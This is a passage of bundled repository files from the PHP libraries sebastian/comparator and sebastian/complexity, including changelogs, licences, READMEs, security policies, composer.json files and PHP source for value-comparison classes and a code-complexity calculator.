[phpunit/#2923](https://github.com/sebastianbergmann/phpunit/issues/2923): Unexpected failed date matching ## [2.1.0] - 2017-11-03 ### Added * Added `SebastianBergmann\Comparator\Factory::reset()` to unregister all non-default comparators * Added support for `phpunit/phpunit-mock-objects` version `^5.0` [5.0.4]: https://github.com/sebastianbergmann/comparator/compare/5.0.3...5.0.4 [5.0.3]: https://github.com/sebastianbergmann/comparator/compare/5.0.2...5.0.3 [5.0.2]: https://github.com/sebastianbergmann/comparator/compare/5.0.1...5.0.2 [5.0.1]: https://github.com/sebastianbergmann/comparator/compare/5.0.0...5.0.1 [5.0.0]: https://github.com/sebastianbergmann/comparator/compare/4.0.8...5.0.0 [4.0.8]: https://github.com/sebastianbergmann/comparator/compare/4.0.7...4.0.8 [4.0.7]: https://github.com/sebastianbergmann/comparator/compare/4.0.6...4.0.7 [4.0.6]: https://github.com/sebastianbergmann/comparator/compare/4.0.5...4.0.6 [4.0.5]: https://github.com/sebastianbergmann/comparator/compare/4.0.4...4.0.5 [4.0.4]: https://github.com/sebastianbergmann/comparator/compare/4.0.3...4.0.4 [4.0.3]: https://github.com/sebastianbergmann/comparator/compare/4.0.2...4.0.3 [4.0.2]: https://github.com/sebastianbergmann/comparator/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/comparator/compare/4.0.0...4.0.1 [4.0.0]: https://github.com/sebastianbergmann/comparator/compare/3.0.5...4.0.0 [3.0.5]: https://github.com/sebastianbergmann/comparator/compare/3.0.4...3.0.5 [3.0.4]: https://github.com/sebastianbergmann/comparator/compare/3.0.3...3.0.4 [3.0.3]: https://github.com/sebastianbergmann/comparator/compare/3.0.2...3.0.3 [3.0.2]: https://github.com/sebastianbergmann/comparator/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/comparator/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/comparator/compare/2.1.3...3.0.0 [2.1.3]: https://github.com/sebastianbergmann/comparator/compare/2.1.2...2.1.3 [2.1.2]: https://github.com/sebastianbergmann/comparator/compare/2.1.1...2.1.2 [2.1.1]: https://github.com/sebastianbergmann/comparator/compare/2.1.0...2.1.1 [2.1.0]: https://github.com/sebastianbergmann/comparator/compare/2.0.2...2.1.0 BSD 3-Clause License Copyright (c) 2002-2025, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/comparator/v/stable.png)](https://packagist.org/packages/sebastian/comparator) [![CI Status](https://github.com/sebastianbergmann/comparator/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/comparator/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/comparator/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/comparator) [![codecov](https://codecov.io/gh/sebastianbergmann/comparator/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/comparator) # sebastian/comparator This component provides the functionality to compare PHP values for equality. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/comparator ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/comparator ``` ## Usage ```php getComparatorFor($date1, $date2); try { $comparator->assertEquals($date1, $date2); print "Dates match"; } catch (ComparisonFailure $failure) { print "Dates don't match"; } ``` # Security Policy If you believe you have found a security vulnerability in the library that is developed in this repository, please report it to us through coordinated disclosure. **Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** Instead, please email `sebastian@phpunit.de`. Please include as much of the information listed below as you can to help us better understand and resolve the issue: * The type of issue * Full paths of source file(s) related to the manifestation of the issue * The location of the affected source code (tag/branch/commit or direct URL) * Any special configuration required to reproduce the issue * Step-by-step instructions to reproduce the issue * Proof-of-concept or exploit code (if possible) * Impact of the issue, including how an attacker might exploit the issue This information will help us triage your report more quickly. ## Web Context The library that is developed in this repository was either extracted from [PHPUnit](https://github.com/sebastianbergmann/phpunit) or developed specifically as a dependency for PHPUnit. The library is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using the library in an HTTP or web context or with untrusted input data is performed. The library might also contain functionality that intentionally exposes internal application data for debugging purposes. If the library is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. { "name": "sebastian/comparator", "description": "Provides the functionality to compare PHP values for equality", "keywords": ["comparator","compare","equality"], "homepage": "https://github.com/sebastianbergmann/comparator", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Volker Dusch", "email": "github@wallbash.com" }, { "name": "Bernhard Schussek", "email": "bschussek@2bepublished.at" } ], "support": { "issues": "https://github.com/sebastianbergmann/comparator/issues", "security": "https://github.com/sebastianbergmann/comparator/security/policy" }, "prefer-stable": true, "require": { "php": ">=8.1", "sebastian/diff": "^5.0", "sebastian/exporter": "^5.0", "ext-dom": "*", "ext-mbstring": "*" }, "require-dev": { "phpunit/phpunit": "^10.5" }, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture" ] }, "extra": { "branch-alias": { "dev-main": "5.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function array_key_exists; use function assert; use function is_array; use function sort; use function sprintf; use function str_replace; use function trim; use SebastianBergmann\Exporter\Exporter; /** * Arrays are equal if they contain the same key-value pairs. * The order of the keys does not matter. * The types of key-value pairs do not matter. */ class ArrayComparator extends Comparator { public function accepts(mixed $expected, mixed $actual): bool { return is_array($expected) && is_array($actual); } /** * @throws ComparisonFailure */ public function assertEquals(mixed $expected, mixed $actual, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false, array &$processed = []): void { assert(is_array($expected)); assert(is_array($actual)); if ($canonicalize) { sort($expected); sort($actual); } $remaining = $actual; $actualAsString = "Array (\n"; $expectedAsString = "Array (\n"; $equal = true; $exporter = new Exporter; foreach ($expected as $key => $value) { unset($remaining[$key]); if (!array_key_exists($key, $actual)) { $expectedAsString .= sprintf( " %s => %s\n", $exporter->export($key), $exporter->shortenedExport($value), ); $equal = false; continue; } try { $comparator = $this->factory()->getComparatorFor($value, $actual[$key]); $comparator->assertEquals($value, $actual[$key], $delta, $canonicalize, $ignoreCase, $processed); $expectedAsString .= sprintf( " %s => %s\n", $exporter->export($key), $exporter->shortenedExport($value), ); $actualAsString .= sprintf( " %s => %s\n", $exporter->export($key), $exporter->shortenedExport($actual[$key]), ); } catch (ComparisonFailure $e) { $expectedAsString .= sprintf( " %s => %s\n", $exporter->export($key), $e->getExpectedAsString() ? $this->indent($e->getExpectedAsString()) : $exporter->shortenedExport($e->getExpected()), ); $actualAsString .= sprintf( " %s => %s\n", $exporter->export($key), $e->getActualAsString() ? $this->indent($e->getActualAsString()) : $exporter->shortenedExport($e->getActual()), ); $equal = false; } } foreach ($remaining as $key => $value) { $actualAsString .= sprintf( " %s => %s\n", $exporter->export($key), $exporter->shortenedExport($value), ); $equal = false; } $expectedAsString .= ')'; $actualAsString .= ')'; if (!$equal) { throw new ComparisonFailure( $expected, $actual, $expectedAsString, $actualAsString, 'Failed asserting that two arrays are equal.', ); } } private function indent(string $lines): string { return trim(str_replace("\n", "\n ", $lines)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; abstract class Comparator { private Factory $factory; public function setFactory(Factory $factory): void { $this->factory = $factory; } abstract public function accepts(mixed $expected, mixed $actual): bool; /** * @throws ComparisonFailure */ abstract public function assertEquals(mixed $expected, mixed $actual, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false): void; protected function factory(): Factory { return $this->factory; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use RuntimeException; use SebastianBergmann\Diff\Differ; use SebastianBergmann\Diff\Output\UnifiedDiffOutputBuilder; final class ComparisonFailure extends RuntimeException { private mixed $expected; private mixed $actual; private string $expectedAsString; private string $actualAsString; public function __construct(mixed $expected, mixed $actual, string $expectedAsString, string $actualAsString, string $message = '') { parent::__construct($message); $this->expected = $expected; $this->actual = $actual; $this->expectedAsString = $expectedAsString; $this->actualAsString = $actualAsString; } public function getActual(): mixed { return $this->actual; } public function getExpected(): mixed { return $this->expected; } public function getActualAsString(): string { return $this->actualAsString; } public function getExpectedAsString(): string { return $this->expectedAsString; } public function getDiff(): string { if (!$this->actualAsString && !$this->expectedAsString) { return ''; } $differ = new Differ(new UnifiedDiffOutputBuilder("\n--- Expected\n+++ Actual\n")); return $differ->diff($this->expectedAsString, $this->actualAsString); } public function toString(): string { return $this->getMessage() . $this->getDiff(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function assert; use function mb_strtolower; use function sprintf; use DOMDocument; use DOMNode; use ValueError; final class DOMNodeComparator extends ObjectComparator { public function accepts(mixed $expected, mixed $actual): bool { return $expected instanceof DOMNode && $actual instanceof DOMNode; } /** * @throws ComparisonFailure */ public function assertEquals(mixed $expected, mixed $actual, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false, array &$processed = []): void { assert($expected instanceof DOMNode); assert($actual instanceof DOMNode); $expectedAsString = $this->nodeToText($expected, true, $ignoreCase); $actualAsString = $this->nodeToText($actual, true, $ignoreCase); if ($expectedAsString !== $actualAsString) { $type = $expected instanceof DOMDocument ? 'documents' : 'nodes'; throw new ComparisonFailure( $expected, $actual, $expectedAsString, $actualAsString, sprintf("Failed asserting that two DOM %s are equal.\n", $type), ); } } /** * Returns the normalized, whitespace-cleaned, and indented textual * representation of a DOMNode. */ private function nodeToText(DOMNode $node, bool $canonicalize, bool $ignoreCase): string { if ($canonicalize) { $document = new DOMDocument; try { $c14n = $node->C14N(); assert(!empty($c14n)); @$document->loadXML($c14n); } catch (ValueError) { } $node = $document; } $document = $node instanceof DOMDocument ? $node : $node->ownerDocument; $document->formatOutput = true; $document->normalizeDocument(); $text = $node instanceof DOMDocument ? $node->saveXML() : $document->saveXML($node); return $ignoreCase ? mb_strtolower($text, 'UTF-8') : $text; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function abs; use function assert; use function floor; use function sprintf; use DateInterval; use DateTimeInterface; use DateTimeZone; final class DateTimeComparator extends ObjectComparator { public function accepts(mixed $expected, mixed $actual): bool { return ($expected instanceof DateTimeInterface) && ($actual instanceof DateTimeInterface); } /** * @throws ComparisonFailure */ public function assertEquals(mixed $expected, mixed $actual, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false, array &$processed = []): void { assert($expected instanceof DateTimeInterface); assert($actual instanceof DateTimeInterface); $absDelta = abs($delta); $delta = new DateInterval(sprintf('PT%dS', $absDelta)); $delta->f = $absDelta - floor($absDelta); $actualClone = (clone $actual) ->setTimezone(new DateTimeZone('UTC')); $expectedLower = (clone $expected) ->setTimezone(new DateTimeZone('UTC')) ->sub($delta); $expectedUpper = (clone $expected) ->setTimezone(new DateTimeZone('UTC')) ->add($delta); if ($actualClone < $expectedLower || $actualClone > $expectedUpper) { throw new ComparisonFailure( $expected, $actual, $this->dateTimeToString($expected), $this->dateTimeToString($actual), 'Failed asserting that two DateTime objects are equal.', ); } } /** * Returns an ISO 8601 formatted string representation of a datetime or * 'Invalid DateTimeInterface object' if the provided DateTimeInterface was not properly * initialized. */ private function dateTimeToString(DateTimeInterface $datetime): string { $string = $datetime->format('Y-m-d\TH:i:s.uO'); return $string ?: 'Invalid DateTimeInterface object'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function assert; use Exception; /** * Compares Exception instances for equality. */ final class ExceptionComparator extends ObjectComparator { public function accepts(mixed $expected, mixed $actual): bool { return $expected instanceof Exception && $actual instanceof Exception; } protected function toArray(object $object): array { assert($object instanceof Exception); $array = parent::toArray($object); unset( $array['file'], $array['line'], $array['trace'], $array['string'], $array['xdebug_message'], ); return $array; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function array_unshift; final class Factory { private static ?Factory $instance = null; /** * @psalm-var list */ private array $customComparators = []; /** * @psalm-var list */ private array $defaultComparators = []; public static function getInstance(): self { if (self::$instance === null) { self::$instance = new self; // @codeCoverageIgnore } return self::$instance; } public function __construct() { $this->registerDefaultComparators(); } public function getComparatorFor(mixed $expected, mixed $actual): Comparator { foreach ($this->customComparators as $comparator) { if ($comparator->accepts($expected, $actual)) { return $comparator; } } foreach ($this->defaultComparators as $comparator) { if ($comparator->accepts($expected, $actual)) { return $comparator; } } throw new RuntimeException('No suitable Comparator implementation found'); } /** * Registers a new comparator. * * This comparator will be returned by getComparatorFor() if its accept() method * returns TRUE for the compared values. It has higher priority than the * existing comparators, meaning that its accept() method will be invoked * before those of the other comparators. */ public function register(Comparator $comparator): void { array_unshift($this->customComparators, $comparator); $comparator->setFactory($this); } /** * Unregisters a comparator. * * This comparator will no longer be considered by getComparatorFor(). */ public function unregister(Comparator $comparator): void { foreach ($this->customComparators as $key => $_comparator) { if ($comparator === $_comparator) { unset($this->customComparators[$key]); } } } public function reset(): void { $this->customComparators = []; } private function registerDefaultComparators(): void { $this->registerDefaultComparator(new MockObjectComparator); $this->registerDefaultComparator(new DateTimeComparator); $this->registerDefaultComparator(new DOMNodeComparator); $this->registerDefaultComparator(new SplObjectStorageComparator); $this->registerDefaultComparator(new ExceptionComparator); $this->registerDefaultComparator(new ObjectComparator); $this->registerDefaultComparator(new ResourceComparator); $this->registerDefaultComparator(new ArrayComparator); $this->registerDefaultComparator(new NumericComparator); $this->registerDefaultComparator(new ScalarComparator); $this->registerDefaultComparator(new TypeComparator); } private function registerDefaultComparator(Comparator $comparator): void { $this->defaultComparators[] = $comparator; $comparator->setFactory($this); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function array_keys; use function assert; use function str_starts_with; use PHPUnit\Framework\MockObject\Stub; /** * Compares PHPUnit\Framework\MockObject\MockObject instances for equality. */ final class MockObjectComparator extends ObjectComparator { public function accepts(mixed $expected, mixed $actual): bool { return $expected instanceof Stub && $actual instanceof Stub; } protected function toArray(object $object): array { assert($object instanceof Stub); $array = parent::toArray($object); foreach (array_keys($array) as $key) { if (!str_starts_with($key, '__phpunit_')) { continue; } unset($array[$key]); } return $array; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function abs; use function is_float; use function is_infinite; use function is_nan; use function is_numeric; use function is_string; use function sprintf; use SebastianBergmann\Exporter\Exporter; final class NumericComparator extends ScalarComparator { public function accepts(mixed $expected, mixed $actual): bool { // all numerical values, but not if both of them are strings return is_numeric($expected) && is_numeric($actual) && !(is_string($expected) && is_string($actual)); } /** * @throws ComparisonFailure */ public function assertEquals(mixed $expected, mixed $actual, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false): void { if ($this->isInfinite($actual) && $this->isInfinite($expected)) { return; } if (($this->isInfinite($actual) xor $this->isInfinite($expected)) || ($this->isNan($actual) || $this->isNan($expected)) || abs($actual - $expected) > $delta) { $exporter = new Exporter; throw new ComparisonFailure( $expected, $actual, '', '', sprintf( 'Failed asserting that %s matches expected %s.', $exporter->export($actual), $exporter->export($expected), ), ); } } private function isInfinite(mixed $value): bool { return is_float($value) && is_infinite($value); } private function isNan(mixed $value): bool { return is_float($value) && is_nan($value); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function assert; use function in_array; use function is_object; use function sprintf; use function substr_replace; use SebastianBergmann\Exporter\Exporter; class ObjectComparator extends ArrayComparator { public function accepts(mixed $expected, mixed $actual): bool { return is_object($expected) && is_object($actual); } /** * @throws ComparisonFailure */ public function assertEquals(mixed $expected, mixed $actual, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false, array &$processed = []): void { assert(is_object($expected)); assert(is_object($actual)); if ($actual::class !== $expected::class) { $exporter = new Exporter; throw new ComparisonFailure( $expected, $actual, $exporter->export($expected), $exporter->export($actual), sprintf( '%s is not instance of expected class "%s".', $exporter->export($actual), $expected::class, ), ); } // don't compare twice to allow for cyclic dependencies if (in_array([$actual, $expected], $processed, true) || in_array([$expected, $actual], $processed, true)) { return; } $processed[] = [$actual, $expected]; // don't compare objects if they are identical // this helps to avoid the error "maximum function nesting level reached" // CAUTION: this conditional clause is not tested if ($actual !== $expected) { try { parent::assertEquals( $this->toArray($expected), $this->toArray($actual), $delta, $canonicalize, $ignoreCase, $processed, ); } catch (ComparisonFailure $e) { throw new ComparisonFailure( $expected, $actual, // replace "Array" with "MyClass object" substr_replace($e->getExpectedAsString(), $expected::class . ' Object', 0, 5), substr_replace($e->getActualAsString(), $actual::class . ' Object', 0, 5), 'Failed asserting that two objects are equal.', ); } } } protected function toArray(object $object): array { return (new Exporter)->toArray($object); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function assert; use function is_resource; use SebastianBergmann\Exporter\Exporter; final class ResourceComparator extends Comparator { public function accepts(mixed $expected, mixed $actual): bool { return is_resource($expected) && is_resource($actual); } /** * @throws ComparisonFailure */ public function assertEquals(mixed $expected, mixed $actual, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false): void { assert(is_resource($expected)); assert(is_resource($actual)); $exporter = new Exporter; if ($actual != $expected) { throw new ComparisonFailure( $expected, $actual, $exporter->export($expected), $exporter->export($actual), ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function is_bool; use function is_object; use function is_scalar; use function is_string; use function mb_strtolower; use function method_exists; use function sprintf; use SebastianBergmann\Exporter\Exporter; /** * Compares scalar or NULL values for equality. */ class ScalarComparator extends Comparator { public function accepts(mixed $expected, mixed $actual): bool { return ((is_scalar($expected) xor null === $expected) && (is_scalar($actual) xor null === $actual)) || // allow comparison between strings and objects featuring __toString() (is_string($expected) && is_object($actual) && method_exists($actual, '__toString')) || (is_object($expected) && method_exists($expected, '__toString') && is_string($actual)); } /** * @throws ComparisonFailure */ public function assertEquals(mixed $expected, mixed $actual, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false): void { $expectedToCompare = $expected; $actualToCompare = $actual; $exporter = new Exporter; // always compare as strings to avoid strange behaviour // otherwise 0 == 'Foobar' if ((is_string($expected) && !is_bool($actual)) || (is_string($actual) && !is_bool($expected))) { $expectedToCompare = (string) $expectedToCompare; $actualToCompare = (string) $actualToCompare; if ($ignoreCase) { $expectedToCompare = mb_strtolower($expectedToCompare, 'UTF-8'); $actualToCompare = mb_strtolower($actualToCompare, 'UTF-8'); } } if ($expectedToCompare !== $actualToCompare && is_string($expected) && is_string($actual)) { throw new ComparisonFailure( $expected, $actual, $exporter->export($expected), $exporter->export($actual), 'Failed asserting that two strings are equal.', ); } if ($expectedToCompare != $actualToCompare) { throw new ComparisonFailure( $expected, $actual, // no diff is required '', '', sprintf( 'Failed asserting that %s matches expected %s.', $exporter->export($actual), $exporter->export($expected), ), ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function assert; use SebastianBergmann\Exporter\Exporter; use SplObjectStorage; final class SplObjectStorageComparator extends Comparator { public function accepts(mixed $expected, mixed $actual): bool { return $expected instanceof SplObjectStorage && $actual instanceof SplObjectStorage; } /** * @throws ComparisonFailure */ public function assertEquals(mixed $expected, mixed $actual, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false): void { assert($expected instanceof SplObjectStorage); assert($actual instanceof SplObjectStorage); $exporter = new Exporter; foreach ($actual as $object) { if (!$expected->offsetExists($object)) { throw new ComparisonFailure( $expected, $actual, $exporter->export($expected), $exporter->export($actual), 'Failed asserting that two objects are equal.', ); } } foreach ($expected as $object) { if (!$actual->offsetExists($object)) { throw new ComparisonFailure( $expected, $actual, $exporter->export($expected), $exporter->export($actual), 'Failed asserting that two objects are equal.', ); } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function gettype; use function sprintf; use SebastianBergmann\Exporter\Exporter; final class TypeComparator extends Comparator { public function accepts(mixed $expected, mixed $actual): bool { return true; } /** * @throws ComparisonFailure */ public function assertEquals(mixed $expected, mixed $actual, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false): void { if (gettype($expected) != gettype($actual)) { throw new ComparisonFailure( $expected, $actual, // we don't need a diff '', '', sprintf( '%s does not match expected type "%s".', (new Exporter)->shortenedExport($actual), gettype($expected), ), ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; final class RuntimeException extends \RuntimeException implements Exception { } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [3.2.0] - 2023-12-21 ### Added * `ComplexityCollection::sortByDescendingCyclomaticComplexity()` ### Changed * This component is now compatible with `nikic/php-parser` 5.0 ## [3.1.0] - 2023-09-28 ### Added * `Complexity::isFunction()` and `Complexity::isMethod()` * `ComplexityCollection::isFunction()` and `ComplexityCollection::isMethod()` * `ComplexityCollection::mergeWith()` ### Fixed * Anonymous classes are not processed correctly ## [3.0.1] - 2023-08-31 ### Fixed * [#7](https://github.com/sebastianbergmann/complexity/pull/7): `ComplexityCalculatingVisitor` tries to process interface methods ## [3.0.0] - 2023-02-03 ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4 and PHP 8.0 ## [2.0.2] - 2020-10-26 ### Fixed * `SebastianBergmann\Complexity\Exception` now correctly extends `\Throwable` ## [2.0.1] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [2.0.0] - 2020-07-25 ### Removed * The `ParentConnectingVisitor` has been removed (it should have been marked as `@internal`) ## [1.0.0] - 2020-07-22 * Initial release [3.2.0]: https://github.com/sebastianbergmann/complexity/compare/3.1.0...3.2.0 [3.1.0]: https://github.com/sebastianbergmann/complexity/compare/3.0.1...3.1.0 [3.0.1]: https://github.com/sebastianbergmann/complexity/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/complexity/compare/2.0.2...3.0.0 [2.0.2]: https://github.com/sebastianbergmann/complexity/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/sebastianbergmann/complexity/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/complexity/compare/1.0.0...2.0.0 [1.0.0]: https://github.com/sebastianbergmann/complexity/compare/70ee0ad32d9e2be3f85beffa3e2eb474193f2487...1.0.0 BSD 3-Clause License Copyright (c) 2020-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/complexity/v/stable.png)](https://packagist.org/packages/sebastian/complexity) [![CI Status](https://github.com/sebastianbergmann/complexity/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/complexity/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/complexity/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/complexity) [![codecov](https://codecov.io/gh/sebastianbergmann/complexity/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/complexity) # sebastian/complexity Library for calculating the complexity of PHP code units. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/complexity ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/complexity ``` # Security Policy If you believe you have found a security vulnerability in the library that is developed in this repository, please report it to us through coordinated disclosure. **Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** Instead, please email `sebastian@phpunit.de`. Please include as much of the information listed below as you can to help us better understand and resolve the issue: * The type of issue * Full paths of source file(s) related to the manifestation of the issue * The location of the affected source code (tag/branch/commit or direct URL) * Any special configuration required to reproduce the issue * Step-by-step instructions to reproduce the issue * Proof-of-concept or exploit code (if possible) * Impact of the issue, including how an attacker might exploit the issue This information will help us triage your report more quickly. ## Web Context The library that is developed in this repository was either extracted from [PHPUnit](https://github.com/sebastianbergmann/phpunit) or developed specifically as a dependency for PHPUnit. The library is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using the library in an HTTP or web context or with untrusted input data is performed. The library might also contain functionality that intentionally exposes internal application data for debugging purposes. If the library is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. { "name": "sebastian/complexity", "description": "Library for calculating the complexity of PHP code units", "type": "library", "homepage": "https://github.com/sebastianbergmann/complexity", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/complexity/issues", "security": "https://github.com/sebastianbergmann/complexity/security/policy" }, "prefer-stable": true, "require": { "php": ">=8.1", "nikic/php-parser": "^4.18 || ^5.0" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-main": "3.2-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use function assert; use function file_get_contents; use PhpParser\Error; use PhpParser\Node; use PhpParser\NodeTraverser; use PhpParser\NodeVisitor\NameResolver; use PhpParser\NodeVisitor\ParentConnectingVisitor; use PhpParser\ParserFactory; final class Calculator { /** * @throws RuntimeException */ public function calculateForSourceFile(string $sourceFile): ComplexityCollection { return $this->calculateForSourceString(file_get_contents($sourceFile)); } /** * @throws RuntimeException */ public function calculateForSourceString(string $source): ComplexityCollection { try { $nodes = (new ParserFactory)->createForHostVersion()->parse($source); assert($nodes !== null); return $this->calculateForAbstractSyntaxTree($nodes); // @codeCoverageIgnoreStart } catch (Error $error) { throw new RuntimeException( $error->getMessage(), $error->getCode(), $error, ); } // @codeCoverageIgnoreEnd } /** * @param Node[] $nodes * * @throws RuntimeException */ public function calculateForAbstractSyntaxTree(array $nodes): ComplexityCollection { $traverser = new NodeTraverser; $complexityCalculatingVisitor = new ComplexityCalculatingVisitor(true); $traverser->addVisitor(new NameResolver); $traverser->addVisitor(new ParentConnectingVisitor); $traverser->addVisitor($complexityCalculatingVisitor); try { /* @noinspection UnusedFunctionResultInspection 